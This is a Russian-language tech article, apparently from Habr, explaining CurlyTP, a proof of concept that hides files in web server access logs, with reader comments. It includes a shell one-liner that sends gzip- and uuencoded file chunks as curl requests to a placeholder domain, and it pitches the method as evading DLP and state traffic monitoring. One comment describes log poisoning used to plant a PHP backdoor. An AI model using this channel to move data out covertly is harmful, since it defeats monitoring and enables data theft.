Тайник не должен привлекать внимание. Поэтому в офлайновом мире часто используют неброские вещи: свободный кирпич в стене, библиотечную книгу или дупло в дереве.
В интернете есть много инструментов для шифрования и анонимизации, но сам факт использования этих инструментов привлекает внимание. Кроме того, они могут быть заблокированы на корпоративном или государственном уровне. Что делать?
Разработчик Райан Флауэрс (Ryan Flowers) предложил интересный вариант — использовать в качестве тайника любой веб-сервер. Если подумать, то что делает веб-сервер? Принимает запросы, выдаёт файлы и пишет лог. И он записывает в лог все запросы, даже некорректные!
Получается, любой веб-сервер позволяет сохранить в логе практически произвольное сообщение. Флауэрс задумался над тем, как это использовать.
Он предлагает такой вариант:
- Берём текстовый файл (секретное сообщение) и вычисляем хэш (md5sum).
- Кодируем его (gzip+uuencode).
- Записываем в лог путём заведомо некорректного запроса к серверу.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'\n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
Для чтения файла нужно произвести эти операции в обратном порядке: раскодировать и разархивировать файл, сверить хэш (хэш можно безопасно передать по открытым каналам).
Пробелы заменяются на
=+=
, чтобы в адресе не было пробелов. Программа, которую автор назвал CurlyTP, использует кодировку base64, как во вложениях электронной почты. Запрос делается с ключевым словом ?transfer?
, чтобы получатель легко нашёл его в логах.Что мы видим в логах в таком случае?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
Как уже было сказано, для получения секретного сообщения нужно произвести операции в обратном порядке:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
Процесс легко автоматизировать. Md5sum совпадает, и содержимое файла подтверждает, что всё правильно раскодировалось.
Метод очень простой. «Смысл этого упражнения только в том, чтобы доказать, что файлы можно передавать через невинные маленькие веб-запросы, и это работает на любом веб-сервере с обычными текстовыми логами. По сути, каждый веб-сервер является тайником!», — пишет Флауэрс.
Конечно, метод работает только в том случае, если у получателя есть доступ к серверным логам. Но такой доступ дают, например, многие хостеры.
Как это использовать?
Райан Флауэрс говорит, что он не специалист по информационной безопасности и не будет составлять список возможных применений CurlyTP. Для него это просто доказательство концепции, что привычные инструменты, которые мы видим ежедневно, можно использовать нетрадиционным способом.
На самом деле такой метод имеет ряд преимуществ перед другими серверными «тайниками» типа Digital Dead Drop или PirateBox: он не требует особой настройки на стороне сервера или каких-то специальных протоколов — и не вызовет подозрения у тех, кто отслеживает трафик. Вряд ли СОРМ или система DLP будет сканировать URL'ы на предмет сжатых текстовых файлов.
Это один из способов передачи сообщений через служебные файлы. Можно вспомнить, как раньше некоторые продвинутые компании размещали вакансии для разработчиков в заголовках HTTP или в коде HTML-страниц.
Идея была в том, что такую «пасхалку» увидят только веб-разработчики, поскольку нормальный человек не будет просматривать заголовки или код HTML.
Комментарии (18)
KodyWiremane
29.08.2019 22:27И дополнительные очки — за использование публично доступных логов )
Только сверять не по MD5, наверное, его же поломали уже.nochkin
30.08.2019 06:43+1Тут проверка больше для валидности нужна. Даже CRC32 сойдёт для этих целей.
KodyWiremane
30.08.2019 08:15Ну всё-таки неплохо проверять аутентичность сообщения, и защиту от replay добавить. Впрочем, это уже не совсем про хеш.
nochkin
30.08.2019 08:19Обычно тайники нужны для тех, кто про них знает. То есть, хороший тайник тот, который для незнающих выглядит как что-то обычное.
А так при желании можно просто шифровать перед base64.KodyWiremane
30.08.2019 10:38Я про ситуацию, когда информация о тайнике утекла, но «знающие» ещё не знают об этом. Похоже, предусмотрительность кому-то тут не нравится.
EvokSinister
30.08.2019 09:45Хм, мне вспоминается история:
– Учитель, я подобрал хороший пароль, которого не может быть в словарях.
Инь Фу Во кивнул.
– Я ввёл его в Гугле, – продолжал Сисадмин, – и убедился, что в Сети такого сочетания нет.
– Теперь есть.
Конечно, появятся альтернативы этому методу, но всё же общая концепция уже известна. Так что ваша фраза «Вряд ли СОРМ или система DLP будет сканировать URL'ы на предмет сжатых текстовых файлов» не совсем верна.
zim32
30.08.2019 09:52Не понял. Что значит ЛЮБОЙ веб сервер. Судя по всему тот на который есть доступ к серверу. А если есть доступ причем тут логи вообще, можно писать куда угодно. Или вопрос что если службы зайдут на сервер они не найдут там переписку? Так теперь найдут грепнув по слову transfer. Вообще какая-то муть
KodyWiremane
30.08.2019 10:42Ну это же не ISO, чтоб именно "?transfer?" использовать. Хотя статистический анализ с поиском нетипичных адресов в логах, возможно, подскажет нужное направление.
izuware
30.08.2019 11:17Так концепция же, например заменим веб сервер на почтовый, и читаем его логи на предмет EHLO «КОДИРОВАНЫЙ ПАКЕТ»… или x-referer-rkn даже
izuware
30.08.2019 11:19Тайник в поисковом сервере, кстати, еще проще. В их каше запросто можно писать открытым текстом )
diafour
30.08.2019 18:08Можно вспомнить, как раньше некоторые продвинутые компании размещали вакансии для разработчиков в заголовках HTTP или в коде HTML-страниц.
Теперь это в js-консоли делают и не только для разработчиков. Яркий пример на сайте qiwi.
identw
02.09.2019 10:39Помню на одном из серверов, который я админил, как оказалось было уязвимое веб-приложение, через post запрос, можно было запустить любой php файл на сервере, злоумышленник это нашёл, но способа залить бэкдор к него не было. Но он увидел, что есть доступ к логам веб-сервера, сформировал так запрос, чтобы в логи попал валидный php код, а потом просто выполнил этот код через раннее найденную уязвимость, php интерпретатор успешно выполнил код из логов, и так он залил бэкдор. Сервер был тестовый для разработки, поэтому для удобства, логи доступны пользователю от которого бэк запущен. Мораль — логи надо защищать, не такая уж это безобидная вещь.
nochkin
Кстати, уже много лет спамеры используют похожий метод время от времени. Они передают свои хосты и линки через «referer» или параметры запроса.
Правда, эффективность этого метода для этих целей сомнительна, так как не все просматривают логи достаточно часто.
pae174
Это называется рефспам и эффективность его образуется вовсе не от того, что кто-то там вручную просматривает логи.
На самом деле при массовом рефспаме образуется куча ссылок на целевой ресурс со страниц статистики других ресурсов. У них там могут быть собственные анализаторы логов, торчащие наружу — например webalizer или awstat. В них указано что-то типа «за прошедшие сутки зафиксированы заходы с таких-то сайтов». Это полностью автоматический процесс и достаточно сделать один единственный запрос что бы попасть в такой лог. Поисковики видят такую статистику и раньше даже учитывали ссылки в ней.
nochkin
На неправильно отконфигурированом софте эффективность тоже не фонтан, конечно.
Эффективнее почтовые серверы искать открытые, но это уже другая крайность.